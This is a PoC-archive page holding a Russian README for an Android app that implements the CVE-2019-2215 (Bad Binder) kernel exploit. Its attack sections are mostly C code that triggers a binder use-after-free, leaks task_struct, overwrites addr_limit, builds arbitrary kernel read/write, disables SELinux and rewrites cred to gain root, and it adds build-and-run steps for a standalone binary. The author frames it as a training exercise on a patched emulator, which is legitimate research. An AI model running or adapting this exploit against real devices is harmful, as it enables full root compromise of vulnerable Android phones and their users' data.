关联漏洞
描述
demo CVE-2019-2215 (Bad Binder) for Android Q
介绍
# CVE-2019-2215 (Bad Binder) — Анализ эксплойта
Этот репозиторий — небольшой тестовый проект по исследованию уязвимости
**CVE-2019-2215 (Bad Binder)** и написанию рабочего прототипа эксплойта под Android с
простым графическим интерфейсом на Kotlin/Jetpack Compose.
В README я:
1. Описываю подготовку среды и запуск прототипа эксплойта.
2. Разбираю основные этапы эксплуатации CVE-2019-2215 и сопоставляю их с конкретными
функциями в C-коде.
3. Отдельно перечисляю трудности, на которые я наткнулся по пути, и как я их решал.
---
## Готовый APK (GitHub Actions)
В репозитории настроен GitHub Actions workflow, который при каждом push/PR собирает проект
командой `./gradlew assembleDebug` и публикует готовый `badbinder-debug.apk` как артефакт.
Скачать его можно так:
1. Открыть вкладку **Actions** в репозитории.
2. Выбрать нужный запуск workflow.
3. Внизу страницы найти секцию **Artifacts** и забрать архив `badbinder-debug-apk`
с собранным APK.
Это сделано для удобства, если хочется просто потестировать приложение, не поднимая локальную среду.
---
## Кратко про уязвимость
**CVE-2019-2215** — это **Use-After-Free (UAF)** в IPC-подсистеме Binder ядра Android.
Упрощённо:
- в ядре существует структура `struct binder_thread`, которая описывает поток,
выполняющий Binder-вызовы;
- эта структура может быть **освобождена** (free), но при определённой последовательности
вызовов всё ещё остаётся в списках ожидания (`waitqueue`);
- позднее ядро пытается работать с уже освобождённой памятью в `remove_wait_queue`,
что открывает классический UAF-сценарий;
- если аккуратно подобрать окружение и последующие аллокации, можно заставить ядро
читать/писать по произвольным адресам, а дальше — получить привилегии ядра, а затем
и root в userspace.
Более подробный теоретический разбор я делал по материалам:
1. https://cloudfuzz.github.io/android-kernel-exploitation/
2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/
---
## 1. Подготовка среды и запуск прототипа эксплойта
### 1.1. Выбор и подготовка виртуального устройства
По заданию рекомендовано использовать **AVD с образом Android 10.0 (Q) x86_64**.
Я сделал следующее:
1. В Android Studio создал AVD (Pixel-устройство, **Android 10 (Q), x86_64**).
2. Убедился, что в образе включён Binder и есть устройство `/dev/binder`.
3. Активировал отладку по USB/ADB и проверил доступ к устройству:
```bash
adb shell
ls -l /dev/binder
```
На этом этапе я столкнулся с неприятным фактом:
на данный момент **актуальные образы AVD уже поставляются с пропатченным ядром**, в котором
CVE-2019-2215 закрыта. То есть реально получить root на современном официальном эмуляторе
не удастся — эксплойт падает на более поздних стадиях или просто не даёт повышения
привилегий.
В итоге я использую AVD как **тренажёр для воспроизведения логики** эксплойта:
- я получаю те же последовательности системных вызовов,
- наблюдаю попытки UAF, утечку адресов и попытку переписать `addr_limit`,
- а вот финальное «получение root» на актуальном, пропатченном ядре, естественно, не
срабатывает (и это ожидаемо).
Это важный нюанс: весь код и отчёт ниже — **учебные, а не «боевые»**.
---
### 1.2. Сборка Android-приложения с нативным эксплойтом
Я сделал небольшое Android-приложение:
- **UI** на Kotlin + Jetpack Compose,
- **Native-часть** на C через JNI — собственно код эксплойта,
- общение между ними — через JNI-колбэк, чтобы строки из C-кода улетали прямо в UI.
Основные шаги:
1. Создал обычный проект в Android Studio (Kotlin, минимальная поддержка Android 10).
2. Подключил **NDK** и CMake.
3. Добавил нативный файл с эксплойтом (тот самый `cve-2019-2215.c` с функциями
`leak_task_struct`, `overwrite_addr_limit`, и т.д.).
4. В `CMakeLists.txt` добавил сборку `libcve-2019-2215.so`.
5. В `MainActivity`:
```kotlin
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
```
6. На стороне Kotlin сделал `ExploitViewModel`, который реализует интерфейс
`NativeLogger` и складывает все сообщения в `StateFlow<List<String>>`. UI подписан
на этот поток и выводит лог в «терминале».
При старте активити я вызываю `setNativeLogger(viewModel)`, чтобы нативный код получил
объект, в который можно слать строки.
---
### 1.3. Запуск и сценарий использования
1. Собираю и устанавливаю приложение:
```bash
./gradlew installDebug
```
2. Запускаю AVD и само приложение.
3. На экране вижу «терминал» и кнопку **RUN EXPLOIT**.
4. При нажатии:
- Kotlin вызывает `runNativeExploit()` в фоновом потоке.
- C-код начинает выполнять все этапы эксплойта и логировать шаги.
- Через JNI-колбэк лог попадает в ViewModel и отображается в Compose-UI.
На реальном уязвимом ядре я ожидал бы в конце увидеть что-то вроде:
```text
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
```
На актуальном эмуляторе Android 10 этого, разумеется, не происходит, но всё остальное —
утечка `task_struct`, попытка переписать `addr_limit`, вычисление `cred` и `kernel_base` —
отрабатывает как «сценарий», что и требовалось для задания.
---
## 2. Разбор основных этапов эксплойта и сопоставление с кодом
Ниже — логическая схема эксплойта с привязкой к конкретным C-функциям.
### 2.1. Общий сценарий эксплойта
Высокоуровневый план такой:
1. **Создать UAF на объекте `struct binder_thread`** и использовать его, чтобы
**утечь адрес `task_struct`** своего процесса (`leak_task_struct`).
2. Вторым UAF-циклом и аккуратно подобранными структурами **переписать поле
`addr_limit`** в `task_struct` (`overwrite_addr_limit`) — это снимает
ограничение между адресами user-space и kernel-space для дальнейших
`copy_to_user` / `copy_from_user`.
3. Используя пайпы, реализовать **произвольное чтение/запись** любой памяти ядра
(`arb_read` / `arb_write`).
4. С помощью этого **найти `cred` текущего процесса и базу ядра** (`verifying`),
затем:
- выключить SELinux (`selinux_enforcing = 0`),
- переписать поля `cred`, чтобы стать root и получить полный набор capability
(`runNativeExploit`).
Параллельно я интегрировал **JNI-логгер**, чтобы все эти этапы было видно прямо в UI.
---
### 2.2. Этап 1 — утечка адреса `task_struct` (`leak_task_struct`)
Ключевая функция:
```c
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
```
**Что делает функция:**
1. **Фиксирует поток на CPU 0** (`sched_setaffinity`), чтобы поведение аллокатора ядра
было более предсказуемым. Это улучшает стабильность эксплуатации UAF.
2. **Открывает `/dev/binder`**, создаёт epoll-дескриптор:
```c
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
```
Binder-дескриптор регистрируется в epoll:
```c
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
```
3. Готовит **массив `struct iovec iov_buffers[IOVEC_N]`** и выделяет память:
```c
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
```
Здесь важно, чтобы младшие 32 бита адреса были нулями:
```c
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
```
Это соответствует технике из статей по эксплуатации: далее ядро
интерпретирует часть наших данных как структуры с указателями, и такая
«красиво выровненная» адресация упрощает злоупотребление.
Затем поля `iov_buffers[0xa]` и `iov_buffers[0xb]` заполняются так, чтобы в
момент UAF ядро скопировало в пайп кусок памяти, где лежит указатель на
`task_struct`.
4. Создаёт пайп и задаёт ему размер буфера 0x1000:
```c
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
```
5. Далее — **классическая UAF-гонка**. Я запускаю дочерний процесс:
```c
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
```
- Родитель остаётся выполнять дальнейший код.
- В дочернем процессе `epoll_ctl(..., EPOLL_CTL_DEL, ...)` приводит к
освобождению связанного `binder_thread` в ядре, но он всё ещё фигурирует
в структуре учёта ожиданий — это и есть точка UAF.
6. В родительском процессе я вызываю:
```c
ioctl(fd, BINDER_THREAD_EXIT, NULL); // освобождение binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
```
На этом этапе, благодаря UAF, `writev` использует уже освобождённую память
как структуры `iovec` и, по сути, повторно интерпретирует ту же область
памяти, где раньше лежал `binder_thread`, но теперь уже как набор
указателей/длин. Частью побочного эффекта становится **копирование
фрагмента ядровой памяти в наш пайп**.
7. Наконец, я читаю из пайпа:
```c
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
```
Смещение `0xe8` подобрано под конкретную версию ядра — это то место,
где внутри утёкшего блока памяти находится указатель на `task_struct` моего
процесса.
Итог: у меня есть **адрес `task_struct`** в ядре, что критически важно для
последующих шагов.
---
### 2.3. Этап 2 — переписывание `addr_limit` (`overwrite_addr_limit`)
`addr_limit` в `task_struct` определяет, **какие адреса процесс вообще может
передавать в системные вызовы** в качестве user-space указателей. Если
переписать его на почти максимальное значение, kernel перестаёт отличать
адреса user-space от адресов в своём адресном пространстве — и многие
безопасные на первый взгляд операции `copy_(to|from)_user` превращаются в
произвольные чтения/записи ядра.
Функция:
```c
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
```
действует по очень похожему шаблону:
1. Снова фиксирую CPU-аффинити, открываю `/dev/binder`, создаю epoll.
2. Готовлю `iov_buffers`, но на этот раз схема другая:
```c
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0 c].iov_base = read_buffer0;
iov_buffers[0 c].iov_len = 0x8;
```
3. Вместо пайпа используется `socketpair(AF_UNIX, SOCK_STREAM, ...)`:
```c
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
```
4. Готовлю структуру `msghdr` для `recvmsg`:
```c
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
```
5. В дочернем процессе (после `fork()`) снова запускается UAF-гонка:
```c
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
```
6. Родитель, как и раньше, освобождает `binder_thread` и зовёт `recvmsg`:
```c
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
```
Из-за UAF и хитрой подмены структур ядро в итоге воспринимает `task_struct +
ADDR_LIMIT_OFFSET` как адрес user-буфера и **копирует туда содержимое
присланной структуры** (наше значение `0xfffffffffffffffe`), тем самым
переписывая `addr_limit` в `task_struct`.
7. В лог я пишу:
```c
android_log("[!] addr_limit overwrite done.");
```
---
### 2.4. Этап 3 — произвольное чтение/запись и проверка (`arb_read`, `arb_write`, `verifying`)
После переписывания `addr_limit` я использую **пайпы** для превращения
обычных операций чтения/записи в возможность читать и писать по ядровым адресам.
#### Примитивы `arb_read` / `arb_write`
```c
unsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
```
Аналогично `arb_write` меняет направление копирования.
#### Проверка и поиск ключевых структур
Функция `verifying()`:
```c
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
```
Здесь я:
- читаю из ядра содержимое `task_struct`;
- по `PID_OFFSET` убеждаюсь, что это действительно моя структура;
- извлекаю указатель на `cred` и утечку адреса из ядра (`kernel_leak`);
- считаю `kernel_base` с поправкой на жёстко заданное смещение.
---
### 2.5. Этап 4 — SELinux и эскалация до root
Финальная часть в `runNativeExploit`:
```c
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
```
- я вычисляю адрес глобальной переменной `selinux_enforcing` и выставляю его в
нулевое/«разрешительное» состояние.
Дальше — переписывание `cred`:
```c
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
```
Я буквально заливаю в поля capability и некоторых других полей `cred`
максимальные значения, чтобы выдать процессу полный набор прав.
Последняя проверка:
```c
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
```
На реальном уязвимом ядре здесь я ожидал бы `uid=0`, на пропатченном образе —
логично отключенную эскалацию.
---
### 2.6. JNI и логирование в UI
Чтобы видеть всё в реальном времени, я добавил прослойку:
- `JNI_OnLoad` сохраняет `JavaVM*` и PID основного процесса;
- `setNativeLogger` принимает Kotlin-объект, реализующий метод `onLog(String)`,
и сохраняет его как `GlobalRef`;
- `android_log`/`android_log_hex` пишут в `logcat` и вызывают `send_to_ui`, который
доставляет строку в Kotlin, где её забирает `ExploitViewModel` и показывает
в Compose-«терминале».
Важно, что `send_to_ui` фильтрует дочерние процессы по PID — вызывать JNI из
процесса после `fork()` без `exec()` небезопасно.
---
## 3. Трудности и их решение
### 3.1. Пропатченные образы AVD
Я столкнулся с тем, что **на данный момент нет официальных AVD-образов Android 10
с не пропатченным ядром**, в которых CVE-2019-2215 всё ещё присутствует.
Вместо «боевого» получения root я сосредоточился на:
- воспроизведении логики эксплуатации,
- разборе UAF-последовательности,
- визуализации всех шагов в Android-приложении.
При желании этот код можно портировать на реальное устройство со старым
не пропатченным ядром, но это уже выходит за рамки задания.
---
### 3.2. Жёсткие смещения и зависимость от версии ядра
Мне пришлось явно задать:
- `ADDR_LIMIT_OFFSET`, `PID_OFFSET`, `CRED_OFFSET`;
- смещения для `kernel_leak` и `selinux_enforcing`;
- константу для расчёта `kernel_base`.
Я осознанно не стал автоматизировать поиск этих значений, чтобы не
раздувать объём проекта. В отчёте я опираюсь на то, что это учебный
пример под конкретную версию ядра, а не универсальный эксплойт.
---
### 3.3. Гонки и стабильность
Использование `fork()`, `epoll_ctl`, `BINDER_THREAD_EXIT` и различных
таймингов — это минное поле. Я столкнулся с тем, что без:
- `sched_setaffinity`,
- небольших `sleep`,
- и агрессивных `assert` по пути
эксплойт становится крайне нестабильным.
Я постепенно отладил последовательность так, чтобы на уязвимой конфигурации
она была предсказуемой, а на пропатченной — корректно «проваливалась» на
последних шагах.
---
### 3.4. JNI и `fork()`
Я также столкнулся с тем, что попытки логировать из дочернего процесса
напрямую в JVM приводят к странному поведению.
Пришлось вспомнить правила JNI и добавить проверку PID, чтобы общаться
с JVM только из основного процесса.
Компромисс: часть сообщений видно лишь в `logcat`, а в UI отображается
только то, что пришло из родителя. Это меня устроило, потому что в рамках
задания важны именно основные контрольные точки, а не каждый отладочный
print.
---
### 3.5. UI
Бонусом, для более творческой реализации задания, я решил сделать интерфейс, удобный для анализа:
- я реализовал экран с «консолью» в стиле тёмного терминала и зелёного текста;
- лог выводится построчно, с автоскроллом к последней записи;
- разные типы сообщений (`[+]`, `[*]`, `[!]`, `[C]`) подсвечены разными
цветами для удобства чтения;
- результат выполнения (`Success / Failed`) отображается отдельным блоком.
Это сильно упрощает восприятие работы нативного кода: вместо сухого `logcat`
я вижу всё в одном месте, прямо в приложении.
---
## Итог
В результате работы над заданием я:
1. Подготовил AVD-среду и Android-приложение с нативной частью, реализующей
эксплойт CVE-2019-2215.
2. Пошагово разобрал эксплуатацию:
- UAF в Binder и утечку `task_struct`,
- переписывание `addr_limit`,
- построение примитивов произвольного чтения/записи,
- поиск `cred`, отключение SELinux и попытку эскалации привилегий.
3. Столкнулся с рядом реальных инженерных проблем
(патчи в ядре, зависимости от версии, гонки, особенности JNI) и
последовательно их решил или обошёл.
Проект получился компактным, но по сути отражает весь жизненный цикл
реальной уязвимости ядра: от теоретического описания и чтения статей
до практической реализации и интеграции в живое Android-приложение.
## P.S.
### Альтернативный способ запуска эксплойта
В директории `cve-2019-2215` есть Makefile, который позволяет собрать
нативный бинарь (x86_64) и запустить его напрямую в AVD через ADB.
Если нужна версия aarch64, [её можно собрать отдельно.](https://github.com/kangtastic/cve-2019-2215)
1. Собираем нативный бинарь:
```bash
cd cve-2019-2215
make
```
2. Копируем бинарь в AVD например в /sdcard/cve-2019-2215
3. Запускаем ADB shell и выполняем бинарь:
```bash
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
```
4. После успешного выполнения эксплойта можно проверить получение root:
```bash
id
```
ожидаемый вывод:
```text
uid=0(root) gid=0(root) groups=0(root)
```
文件快照
[4.0K] /data/pocs/9709ac7e11fb585991155cb3831ebd481fb4ef28
├── [4.0K] app
│ ├── [2.3K] build.gradle.kts
│ ├── [ 750] proguard-rules.pro
│ └── [4.0K] src
│ ├── [4.0K] androidTest
│ │ └── [4.0K] java
│ │ └── [4.0K] ru
│ │ └── [4.0K] redbyte
│ │ └── [4.0K] badbinder
│ │ └── [ 667] ExampleInstrumentedTest.kt
│ ├── [4.0K] main
│ │ ├── [1000] AndroidManifest.xml
│ │ ├── [4.0K] cpp
│ │ │ ├── [ 504] CMakeLists.txt
│ │ │ └── [ 10K] cve-2019-2215.c
│ │ ├── [4.0K] java
│ │ │ └── [4.0K] ru
│ │ │ └── [4.0K] redbyte
│ │ │ └── [4.0K] badbinder
│ │ │ ├── [9.9K] ExploitScreen.kt
│ │ │ ├── [1.5K] ExploitViewModel.kt
│ │ │ ├── [1.3K] MainActivity.kt
│ │ │ ├── [ 87] NativeLogger.kt
│ │ │ └── [4.0K] ui
│ │ │ └── [4.0K] theme
│ │ │ ├── [ 284] Color.kt
│ │ │ ├── [1.8K] Theme.kt
│ │ │ └── [ 989] Type.kt
│ │ └── [4.0K] res
│ │ ├── [4.0K] drawable
│ │ │ ├── [5.5K] ic_launcher_background.xml
│ │ │ └── [1.7K] ic_launcher_foreground.xml
│ │ ├── [4.0K] mipmap-anydpi
│ │ │ ├── [ 343] ic_launcher_round.xml
│ │ │ └── [ 343] ic_launcher.xml
│ │ ├── [4.0K] mipmap-hdpi
│ │ │ ├── [2.8K] ic_launcher_round.webp
│ │ │ └── [1.4K] ic_launcher.webp
│ │ ├── [4.0K] mipmap-mdpi
│ │ │ ├── [1.7K] ic_launcher_round.webp
│ │ │ └── [ 982] ic_launcher.webp
│ │ ├── [4.0K] mipmap-xhdpi
│ │ │ ├── [3.8K] ic_launcher_round.webp
│ │ │ └── [1.9K] ic_launcher.webp
│ │ ├── [4.0K] mipmap-xxhdpi
│ │ │ ├── [5.8K] ic_launcher_round.webp
│ │ │ └── [2.8K] ic_launcher.webp
│ │ ├── [4.0K] mipmap-xxxhdpi
│ │ │ ├── [7.6K] ic_launcher_round.webp
│ │ │ └── [3.8K] ic_launcher.webp
│ │ ├── [4.0K] values
│ │ │ ├── [ 378] colors.xml
│ │ │ ├── [ 71] strings.xml
│ │ │ └── [ 151] themes.xml
│ │ └── [4.0K] xml
│ │ ├── [ 478] backup_rules.xml
│ │ └── [ 551] data_extraction_rules.xml
│ └── [4.0K] test
│ └── [4.0K] java
│ └── [4.0K] ru
│ └── [4.0K] redbyte
│ └── [4.0K] badbinder
│ └── [ 344] ExampleUnitTest.kt
├── [ 169] build.gradle.kts
├── [4.0K] cve-2019-2215
│ ├── [6.7K] exploit.c
│ ├── [1.2K] Makefile
│ └── [ 109] README.md
├── [4.0K] gradle
│ ├── [2.0K] libs.versions.toml
│ └── [4.0K] wrapper
│ ├── [ 58K] gradle-wrapper.jar
│ └── [ 233] gradle-wrapper.properties
├── [1.3K] gradle.properties
├── [5.6K] gradlew
├── [2.6K] gradlew.bat
├── [4.0K] img
│ └── [105K] demo.png
├── [ 27K] README.md
└── [ 533] settings.gradle.kts
35 directories, 46 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。